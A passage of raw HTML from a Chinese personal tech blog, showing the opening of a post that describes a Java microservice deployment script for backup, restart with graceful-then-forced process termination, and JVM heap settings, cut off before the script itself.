dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Java部署脚本&amp;重启备份检查&amp;配置环境</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-38e3f997dad946b899bbd3042488821f"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-30cd1b5d9c764661bb28c4f7511b9c0c"><a href="#c4f68ef2bdba42b2829c2443f5de269d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#6dc7d2472acb4e17979f2751e11a4866" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">命令编写步骤</span></a><a href="#8513dc44acdd416c97975a429313055a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">配置环境变量</span></a><a href="#316c39c8874f4c268b20c27d7df00e22" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">主程序</span></a><a href="#e50a06de71d542a584f972dba14b6249" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">辅助函数</span></a><a href="#1c461f9febc0408dbd62cd2d593df5ff" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">动态设置JVM参数</span></a><a href="#547f54ed12384e1e89ef996809620f35" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">根据jar包获取正在运行的pid列表</span></a><a href="#6d929a3430414f19acdbc1db601c49dc" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">停止服务</span></a><a href="#d23b738a497745dd9e874ac4299f8a2c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">启动服务</span></a><a href="#8d850969c7f1427891897b8a880d6922" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">启动完成检查</span></a><a href="#2c676e2583254e28a93c2a14c18c16f9" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">备份</span></a><a href="#dae3dcc69abb45e78cd096e67fb23514" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">环境变量配置</span></a><a href="#d044fa9043bf464bb804b1952f91548b" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">配置~/.bash_profile</span></a><a href="#12211a141feb449bbeababea67e70635" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">配置自动补全</span></a><a href="#af722408abb3480e9546752a8866c509" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">效果</span></a><a href="#0cdbdf1b35ba440492353d8625c1eac0" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">备份</span></a><a href="#8566becf9f134e17800f8c73a9d69d10" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">重启</span></a><a href="#1af189564491464688128c26899d094c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">最终部署脚本</span></a><a href="#3b508db8425b4c7783d09eba50c4ef24" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-c4f68ef2bdba42b2829c2443f5de269d" data-id="c4f68ef2bdba42b2829c2443f5de269d"><span><div id="c4f68ef2bdba42b2829c2443f5de269d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c4f68ef2bdba42b2829c2443f5de269d" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-de75e7b797b74bbaacf9c9a53bb46ac7"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。
 固定流程:deploy bakup xx.jar —&gt; deploy restart xx.jar</div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-6dc7d2472acb4e17979f2751e11a4866" data-id="6dc7d2472acb4e17979f2751e11a4866"><span><div id="6dc7d2472acb4e17979f2751e11a4866" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6dc7d2472acb4e17979f2751e11a4866" title="命令编写步骤"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">命令编写步骤</span></span></h2><blockquote class="notion-quote notion-block-ec124e1df2124b30b0196c0b3819fb0e"><div>我会把每一步编写的用途都罗列出来,不想看的可以直接滑到最后复制整个脚本</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-8513dc44acdd416c97975a429313055a" data-id="8513dc44acdd416c97975a429313055a"><span><div id="8513dc44acdd416c97975a429313055a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8513dc44acdd416c97975a429313055a" title="配置环境变量"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">配置环境变量</span></span></h3><blockquote class="notion-quote notion-block-b1f5373e66e34e3b8df60436ece58f30"><div>这里配置基础的java运行环境变量,包括可以把JVM运行参数也放在这里,到我项目里面的JVM参数是变动的,下面会提到。并且声明脚本要用到变量。</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-316c39c8874f4c268b20c27d7df00e22" data-id="316c39c8874f4c268b20c27d7df00e22"><span><div id="316c39c8874f4c268b20c27d7df00e22" class="notion-header-anchor"></div><a class="notion-hash-link" href="#316c39c8874f4c268b20c27d7df00e22" title="主程序"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">主程序</span></span></h3><blockquote class="notion-quote notion-block-8e2a4be9ddd043c890a173e5966dc430"><div>首先定义程序入口,运行welcome欢迎函数,并且运行检查当前工作目录函数,因为这个脚本会在配置到环境变量,防止程序运行报错。</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-e50a06de71d542a584f972dba14b6249" data-id="e50a06de71d542a584f972dba14b6249"><span><div id="e50a06de71d542a584f972dba14b6249" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e50a06de71d542a584f972dba14b6249" title="辅助函数"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">辅助函数</span></span></h3><blockquote class="notion-quote notion-block-3f65869a70fa433ebfde8dbdca631b9f"><div>提示函数,检查输入参数,welcome,check_directory等,都比较简单</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-1c461f9febc0408dbd62cd2d593df5ff" data-id="1c461f9febc0408dbd62cd2d593df5ff"><span><div id="1c461f9febc0408dbd62cd2d593df5ff" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1c461f9febc0408dbd62cd2d593df5ff" title="动态设置JVM参数"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">动态设置JVM参数</span></span></h3><blockquote class="notion-quote notion-block-263f23a4ae614c82b821dccdf0fa6e4c"><div>根据env环境变量和jar包的名称动态设置JVM的堆内存</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-547f54ed12384e1e89ef996809620f35" data-id="547f54ed12384e1e89ef996809620f35"><span><div id="547f54ed12384e1e89ef996809620f35" class="notion-header-anchor"></div><a class="notion-hash-link" href="#547f54ed12384e1e89ef996809620f35" title="根据jar包获取正在运行的pid列表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">根据jar包获取正在运行的pid列表</span></span></h3><blockquote class="notion-quote notion-block-77b75914f02a4393bd36453671da3504"><div>就是ps aux | grep 服务名来获取的正在运行的pid,然后通过awk来输出具体的某个pid</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-6d929a3430414f19acdbc1db601c49dc" data-id="6d929a3430414f19acdbc1db601c49dc"><span><div id="6d929a3430414f19acdbc1db601c49dc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6d929a3430414f19acdbc1db601c49dc" title="停止服务"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">停止服务</span></span></h3><blockquote class="notion-quote notion-block-f5002c9f33304c7491e42bd2be6cc9df"><div>使用kill -15来杀程序,如果超过60s,就直接kill -9</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 